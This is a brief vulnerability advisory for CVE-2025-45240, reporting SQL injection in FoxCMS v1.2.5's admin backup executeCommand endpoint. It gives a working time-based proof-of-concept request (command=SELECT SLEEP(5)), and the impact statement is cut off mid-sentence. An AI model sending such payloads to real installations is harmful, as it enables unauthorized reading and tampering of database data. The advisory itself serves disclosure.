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1 CVE-2025-45240 – FoxCMS v1.2.5: SQL Injection in executeCommand Method

2 Vulnerability Type: SQL Injection

3 Attack Vector: command parameter manipulation

4

5 Reproduction Steps:

6

7 Send the following payload to the vulnerable endpoint:

8

9 POST /admin/backup/executeCommand

10 Body: command=SELECT SLEEP(5)

11 The server hangs or delays for 5 seconds.

12

13 Result: SQL payload is executed, confirming SQL injection vulnerability.

14

15 Impact: Could allow attackers to read, write, or modify database data. May lead to full database com
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